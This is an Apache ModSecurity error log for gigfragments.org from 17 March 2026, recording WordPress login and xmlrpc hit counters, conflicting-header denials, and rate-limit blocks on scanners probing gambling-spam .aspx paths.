[Tue Mar 17 12:24:50.409405 2026] [:error] [pid 15162:tid 15168] [client 103.124.95.161:60050] [client 103.124.95.161] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.124.95.161, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abjXkrkCW4399PnBfYS5ogAAAkE"]
[Tue Mar 17 12:24:52.351558 2026] [:error] [pid 15162:tid 15183] [client 103.124.95.161:60050] [client 103.124.95.161] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.124.95.161, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abjXlLkCW4399PnBfYS5owAAAlA"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 17 13:29:38.981282 2026] [:error] [pid 14929:tid 14939] [client 43.131.39.179:38850] [client 43.131.39.179] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abjmwvTUDuLSLjNnyau_OgAAAYM"]
[Tue Mar 17 14:33:32.725043 2026] [:error] [pid 45915:tid 45951] [client 121.40.243.124:45098] [client 121.40.243.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 121.40.243.124, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abj1vJh7U84ydzcrcnfUawAAABY"]
[Tue Mar 17 14:33:34.815640 2026] [:error] [pid 45915:tid 45932] [client 121.40.243.124:45098] [client 121.40.243.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 121.40.243.124, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abj1vph7U84ydzcrcnfUcwAAAAM"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 17 14:36:17.704416 2026] [:error] [pid 15162:tid 15189] [client 43.130.31.17:33830] [client 43.130.31.17] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "abj2YbkCW4399PnBfYTL4AAAAlY"]
[Tue Mar 17 14:51:52.386271 2026] [:error] [pid 45915:tid 45931] [client 50.62.187.124:45674] [client 50.62.187.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.62.187.124, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abj6CJh7U84ydzcrcnfc0gAAAAI"]
[Tue Mar 17 14:51:55.470712 2026] [:error] [pid 45916:tid 45964] [client 50.62.187.124:45676] [client 50.62.187.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.62.187.124, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abj6C7iS53PnClk_C9ASBAAAAEI"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 17 16:48:42.229523 2026] [:error] [pid 15013:tid 15094] [client 195.201.199.99:39820] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "abkValZc-p7DonmJmm0X5AAAAhE"]
[Tue Mar 17 16:48:45.348549 2026] [:error] [pid 14817:tid 14847] [client 195.201.199.99:36376] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "abkVbeBWVgTpR3dKOgYNHgAAAVU"]
[Tue Mar 17 17:13:58.456889 2026] [:error] [pid 15013:tid 15077] [client 62.84.185.60:46624] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "abkbVlZc-p7DonmJmm0dKwAAAgA"]
[Tue Mar 17 17:14:00.448356 2026] [:error] [pid 22541:tid 22567] [client 62.84.185.60:46640] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "abkbWKS6JNY1-CTsTA_iogAAARU"]
[Tue Mar 17 17:14:02.683337 2026] [:error] [pid 45915:tid 45930] [client 62.84.185.60:19626] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "abkbWph7U84ydzcrcnco0AAAAAE"]
[Tue Mar 17 17:14:04.847925 2026] [:error] [pid 45917:tid 45994] [client 62.84.185.60:19634] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "abkbXBMMhmeqL5fT_hfSbAAAAIU"]
[Tue Mar 17 17:14:06.844083 2026] [:error] [pid 45915:tid 45946] [client 62.84.185.60:19642] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "abkbXph7U84ydzcrcnco2wAAABE"]
[Tue Mar 17 17:14:08.675861 2026] [:error] [pid 45915:tid 45929] [client 62.84.185.60:19654] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "abkbYJh7U84ydzcrcnco5gAAAAA"]
[Tue Mar 17 17:14:10.671171 2026] [:error] [pid 45915:tid 45945] [client 62.84.185.60:19664] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "abkbYph7U84ydzcrcnco7gAAABA"]
[Tue Mar 17 17:14:12.756890 2026] [:error] [pid 45916:tid 45979] [client 62.84.185.60:38886] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "abkbZLiS53PnClk_C9BUDwAAAFE"]
[Tue Mar 17 17:14:14.751899 2026] [:error] [pid 22541:tid 22548] [client 62.84.185.60:38898] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "abkbZqS6JNY1-CTsTA_iugAAAQI"]
[Tue Mar 17 17:14:16.673466 2026] [:error] [pid 15013:tid 15082] [client 62.84.185.60:38900] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "abkbaFZc-p7DonmJmm0dMwAAAgU"]
[Tue Mar 17 17:14:18.853533 2026] [:error] [pid 45916:tid 45984] [client 62.84.185.60:38906] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "abkbariS53PnClk_C9BUIQAAAFY"]
[Tue Mar 17 17:14:20.902364 2026] [:error] [pid 14817:tid 14834] [client 62.84.185.60:38908] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "abkbbOBWVgTpR3dKOgYR0QAAAUg"]
[Tue Mar 17 17:14:22.904829 2026] [:error] [pid 15162:tid 15182] [client 62.84.185.60:20926] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "abkbbrkCW4399PnBfYTjXwAAAk8"]
[Tue Mar 17 17:14:25.086145 2026] [:error] [pid 14817:tid 14831] [client 62.84.185.60:20934] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "abkbceBWVgTpR3dKOgYR2AAAAUU"]
[Tue Mar 17 17:14:27.077582 2026] [:error] [pid 45915:tid 45949] [client 62.84.185.60:20948] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "abkbc5h7U84ydzcrcncpIwAAABQ"]
[Tue Mar 17 17:14:29.147420 2026] [:error] [pid 15013:tid 15089] [client 62.84.185.60:20956] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "abkbdVZc-p7DonmJmm0dQwAAAgw"]
[Tue Mar 17 17:14:31.139048 2026] [:error] [pid 45915:tid 45931] [client 62.84.185.60:36958] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "abkbd5h7U84ydzcrcncpNgAAAAI"]
[Tue Mar 17 17:14:33.191650 2026] [:error] [pid 45915:tid 45951] [client 62.84.185.60:36962] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "abkbeZh7U84ydzcrcncpPgAAABY"]
[Tue Mar 17 17:14:35.298864 2026] [:error] [pid 15162:tid 15169] [client 62.84.185.60:36972] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "abkbe7kCW4399PnBfYTjbgAAAkI"]
[Tue Mar 17 17:14:45.674596 2026] [:error] [pid 22541:tid 22554] [client 62.84.185.60:32738] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "abkbhaS6JNY1-CTsTA_i4gAAAQg"]
[Tue Mar 17 17:14:47.751727 2026] [:error] [pid 22541:tid 22552] [client 62.84.185.60:32748] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "abkbh6S6JNY1-CTsTA_i6gAAAQY"]
[Tue Mar 17 17:14:49.689288 2026] [:error] [pid 15013:tid 15088] [client 62.84.185.60:32764] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "abkbiVZc-p7DonmJmm0dWQAAAgs"]
[Tue Mar 17 17:14:51.990208 2026] [:error] [pid 45916:tid 45967] [client 62.84.185.60:51690] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "abkbi7iS53PnClk_C9BURQAAAEU"]
[Tue Mar 17 17:15:38.000333 2026] [:error] [pid 15013:tid 15096] [client 62.84.185.60:62528] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "abkbuVZc-p7DonmJmm0duwAAAhM"]
[Tue Mar 17 19:56:14.472148 2026] [:error] [pid 45915:tid 45943] [client 43.157.175.122:50796] [client 43.157.175.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ablBXph7U84ydzcrcneCOQAAAA4"]
[Tue Mar 17 19:59:51.674566 2026] [:error] [pid 45916:tid 45984] [client 43.157.175.122:56298] [client 43.157.175.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ablCN7iS53PnClk_C9CTwgAAAFY"]
[Tue Mar 17 21:44:29.620174 2026] [:error] [pid 15162:tid 15189] [client 181.224.28.10:58019] [client 181.224.28.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 181.224.28.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ablavbkCW4399PnBfYQIqgAAAlY"]
[Tue Mar 17 22:18:32.264841 2026] [:error] [pid 14817:tid 14837] [client 75.119.155.172:46414] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "abliuOBWVgTpR3dKOgZ6uwAAAUs"]
[Tue Mar 17 22:18:34.091480 2026] [:error] [pid 22541:tid 22565] [client 75.119.155.172:46422] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "abliuqS6JNY1-CTsTA9CnQAAARM"]
[Tue Mar 17 22:18:36.108827 2026] [:error] [pid 45915:tid 45948] [client 75.119.155.172:18266] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "ablivJh7U84ydzcrcne_6gAAABM"]
[Tue Mar 17 22:18:38.117865 2026] [:error] [pid 14817:tid 14834] [client 75.119.155.172:18270] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "ablivuBWVgTpR3dKOgZ6yQAAAUg"]
[Tue Mar 17 22:18:40.162987 2026] [:error] [pid 45915:tid 45937] [client 75.119.155.172:18274] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "abliwJh7U84ydzcrcne_8QAAAAg"]
[Tue Mar 17 22:18:42.066486 2026] [:error] [pid 45916:tid 45971] [client 75.119.155.172:18282] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "abliwriS53PnClk_C9C2sAAAAEk"]
[Tue Mar 17 22:18:44.122955 2026] [:error] [pid 14817:tid 14833] [client 75.119.155.172:18294] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "ablixOBWVgTpR3dKOgZ61wAAAUc"]
[Tue Mar 17 22:18:46.014779 2026] [:error] [pid 14817:tid 14844] [client 75.119.155.172:63922] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "ablixuBWVgTpR3dKOgZ63AAAAVI"]
[Tue Mar 17 22:18:47.907859 2026] [:error] [pid 46020:tid 46044] [client 75.119.155.172:63926] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "ablix3-nCcd9BdzGdLejZwAAANY"]
[Tue Mar 17 22:18:49.904147 2026] [:error] [pid 15011:tid 15059] [client 75.119.155.172:63942] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "abliycNtgHlAHiPlDypbmgAAAco"]
[Tue Mar 17 22:18:51.896486 2026] [:error] [pid 15013:tid 15082] [client 75.119.155.172:63946] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "abliy1Zc-p7DonmJmm1WegAAAgU"]
[Tue Mar 17 22:18:53.909076 2026] [:error] [pid 22541:tid 22557] [client 75.119.155.172:63958] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "ablizaS6JNY1-CTsTA9CsgAAAQs"]
[Tue Mar 17 22:18:55.904093 2026] [:error] [pid 45917:tid 46005] [client 75.119.155.172:63970] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "ablizxMMhmeqL5fT_hfl1AAAAJA"]
[Tue Mar 17 22:18:57.888709 2026] [:error] [pid 15013:tid 15080] [client 75.119.155.172:48766] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "abli0VZc-p7DonmJmm1WggAAAgM"]
[Tue Mar 17 22:18:59.737198 2026] [:error] [pid 45915:tid 45932] [client 75.119.155.172:48780] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "abli05h7U84ydzcrcnfABAAAAAM"]
[Tue Mar 17 22:19:01.611771 2026] [:error] [pid 15162:tid 15189] [client 75.119.155.172:48792] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "abli1bkCW4399PnBfYQNaQAAAlY"]
[Tue Mar 17 22:19:03.628135 2026] [:error] [pid 45917:tid 46003] [client 75.119.155.172:48804] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "abli1xMMhmeqL5fT_hfl1gAAAI4"]
